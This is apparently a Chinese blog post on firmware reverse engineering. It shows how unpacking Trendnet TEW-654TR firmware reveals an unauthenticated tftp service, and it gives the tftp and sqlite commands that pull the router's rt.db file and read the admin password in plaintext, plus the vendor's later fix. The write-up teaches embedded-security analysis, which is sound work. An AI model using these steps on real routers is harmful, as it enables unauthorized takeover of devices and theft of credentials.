zoukankan      html  css  js  c++  java
  • 逆向路由器固件之敏感信息泄露 Part2

    之前的文章中详细介绍了各种解包路由器固件的工具。解包之后就获得了固件中的文件。下一步就是分析文件寻找漏洞了。这次分析的目标是Trendnet路由器,分析的漏洞是一个远程获取路由器权限的漏洞。

    初步分析

    通过路由器的登录界面得知路由器型号为Trendnet TEW-654TR,这对收集目标的信息是很有帮助的。通过官方介绍得知该路由器的一些特性。包括支持路由器,无线接入点,无线接入点客户端三种模式,支持NAT和有状态的包检查防御攻击以及有一个简单的web界面支持远程管理等。官网目前最新版固件为V1.10B26。本文中分析的固件版本为V1.10B12,可以从这里下载。为了方便就不适用file等工具进行信息收集了。直接使用binwalk查看bin文件信息,可以看到是比较标准的基于linux的文件系统。

    使用Firmware Mod Kit直接自动解包成功:

    解包成功之后第一件事情就是看一下etc目录配置文件和启动脚本。

    etc git:(master) ✗ ls -al
    total 32
    drwxrwxrwx   7 root  wheel   238  5 30  2011 .
    drwxrwxrwx  17 root  wheel   578  5 30  2011 ..
    -rwxrwxrwx   1 root  wheel   230 11 10  2008 fstab-rwxr-xr-x   1 root  wheel  3774  5 30  2011 icon.ico-rwxrwxrwx   1 root  wheel   109 11 10  2008 inittabdrwxrwxrwx   3 root  wheel   102  3 23  2010 rc.d
    lrwxrwxrwx   1 root  wheel    22  8 24 19:37 resolv.conf -> ../var/etc/resolv.conf

    并没有发现有价值的配置文件,但是rc.d目录下有一个叫rcS的启动脚本。

    ➜  etc git:(master) ✗ cd rc.d➜  rc.d git:(master) ✗ ls -altotal 8drwxrwxrwx  3 root  wheel  102  3 23  2010 .
    drwxrwxrwx  7 root  wheel  238  5 30  2011 ..
    -rwxrwxrwx  1 root  wheel  768  3 23  2010 rcS

    rcS通常是在启动的时候初始化服务和环境,所以值得仔细看一下。

    ➜  rc.d git:(master) ✗ cat rcS#!/bin/ash# This script runs when init it run during the boot process.# Mounts everything in the fstabmount -amount -o remount +w /# Mount the RAM filesystem to /tmpmount -t tmpfs tmpfs /tmp# copy all files in the mnt folder to the etc foldercp -a /mnt/* /etc
    mkdir -p /var/etc
    mkdir -p /var/firm
    mkdir -p /var/log
    mkdir -p /var/misc
    mkdir -p /var/run
    mkdir -p /var/sbin
    mkdir -p /var/tmp
    mkdir -p /tmp/var
    cp -f /etc/udhcpd.conf /var/etc/
    cp -f /etc/udhcpd.leases /var/misc/#Add link for resolv.conf#ln -sf /var/etc/resolv.conf /etc/resolv.conf# Load configure file from Flash
    /bin/echo "Init System..."
    system_manager &# 
    Start tftpd
    /bin/echo "Start Tftpd..."tftpd 
    &#insert cc_dev module for reset packet counterinsmod /lib/modules/cc_dev.ko

    脚本比较简单,先建立一些目录,然后启动了system_manager和tftp,最后加载了一个内核模块。先看下tftp吧。

    eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ find -name tftpd
    ./sbin/tftpd
    eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ file ./sbin/tftpd 
    ./sbin/tftpd: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped
    eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./sbin/tftpd 
    /lib/ld-uClibc.so.0p ,D_init
    _fini
    __uClibc_main.......

    通过函数名和一些字符串,感觉像是一个可以直连的tftp server。尝试连接一下试试看。

    eve@eve:~$ tftp 1.1.1.102
    tftp> get /var/etc/udhcpd.confReceived 615 bytes in 0.0 seconds
    tftp> quit
    eve@eve:~$ cat udhcpd.conf 
    # Sample udhcpd configuration file (/etc/udhcpd.conf)# The location of the leases filelease_file  /var/misc/udhcpd.leases# The location of the pid filepidfile /var/run/udhcpd.pid# Everytime udhcpd writes a leases file, the below script will be called.# Useful for writing the lease file to flash every few hours.notify_file dumpleases  # <--- useful for debugging# The following settings are added by system_managerinterface br0opt router 192.168.10.1option subnet 255.255.255.0option domain 
    start 192.168.10.101end 192.168.10.199option lease 604800static_lease    00:14:d1:b6:02:86   192.168.10.1

    寻找敏感信息

    发现tftp服务是运行的而且可以直接连接。下一步就是找一下哪里存有敏感信息了。通过rcS文件中的注释中可以知道system_manager这个程序可以从flash中加载配置文件。如果system_manager把配置文件写入到了临时目录或者虚拟内存盘中,那么我们就可以直接下载配置文件了。查找一下system_manager中使用的文件路径:

    eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./usr/bin/system_manager | grep &#039;/&#039;/lib/ld-uClibc.so.0/etc/default_rt.db
    /etc/rt.db
    /etc/default_ap.db
    /etc/ap.db
    /etc/default_apc.db
    /etc/apc.db
    ln -sf /var/etc/resolv.conf /etc/resolv.conf
    /etc/scripts/config-vlan.sh 2 0tar -zxf /etc/www.tgz......

    db后缀的几个文件引起了我的注意,每一个文件都有一个文件名添加了default的备份文件。几乎所有的路由器都有恢复默认配置的功能,所以他们一定会把默认的配置存在某个地方。如果这些db文件是路由器的配置文件就有点说的通了。但是哪个文件存储了敏感的密码之类的信息呢。当然可以三个都下载下来看一下。想到最开始查看产品信息的时候有说到,这款路由器支持3种模式:route,access point,access point client。这里的3个db看起来刚好对应三种模式的配置。既然我们测试的这个目标开启了远程web管理,应该是route模式,所以先下载rt.db看看。

    eve@eve:~$ tftp 1.1.1.102
    tftp> binarytftp> get /etc/rt.dbReceived 49152 bytes in 0.1 seconds
    tftp> quiteve@eve:~$ file rt.db 
    rt.db: SQLite 3.x database

    sqlite数据库。看一下里面的数据。

    eve@eve:~$ sqlite3 rt.db
    SQLite version 3.6.22Enter ".help" for instructions
    Enter SQL statements terminated with a ";"sqlite> .tables
    advanced_network      restore_default       wan_static          
    daylight_saving       smtp_settings         website_filter      
    db_version            special_application   website_filter_mode 
    dhcp_server           static_routing        wireless_advanced   
    dmz                   syslog                wireless_basic      
    dynamic_dns           time                  wireless_filter     
    dynamic_routing       user                  wireless_filter_mode
    ip_filter             virtual_server        wireless_security   
    lan_settings          wan_dhcp              wireless_wps        
    log_setting           wan_l2tp              wizard_setting      
    message               wan_pppoe             wpa_settings        
    nat_filter            wan_pptp            
    remote_management     wan_settings        
    sqlite> .schema user
    CREATE TABLE "user" ("user_name" VARCHAR DEFAULT &#039;&#039;, "user_pwd" VARCHAR DEFAULT &#039;&#039;, "level" CHAR DEFAULT &#039;&#039;);
    sqlite> select * from user;
    admin|asecretpassword|1user|asecretpassword|0sqlite>

    可以直接查询到登陆密码。使用数据库中的密码成功登陆。

    通过一些简单的分析,我们找到了一个远程利用的漏洞。欢迎来到嵌入式安全的世界~当然这个漏洞看起来有点挫。下一篇会继续一些一些更有意思的漏洞。

    在最新版的固件中,厂商直接禁用掉了开机启动tftp的功能来解决这个问题。

    # Load configure file from Flash
    /bin/echo "Init System..."system_manager &
    # Start tftpd
    #/bin/echo "Start Tftpd..."#tftpd &
    #insert cc_dev module for reset packet counter
    insmod /lib/modules/cc_dev.ko
  • 相关阅读:
    poj 2312 Battle City
    poj 2002 Squares
    poj 3641 Pseudoprime numbers
    poj 3580 SuperMemo
    poj 3281 Dining
    poj 3259 Wormholes
    poj 3080 Blue Jeans
    poj 3070 Fibonacci
    poj 2887 Big String
    poj 2631 Roads in the North
  • 原文地址:https://www.cnblogs.com/k1two2/p/4767535.html
Copyright © 2011-2022 走看看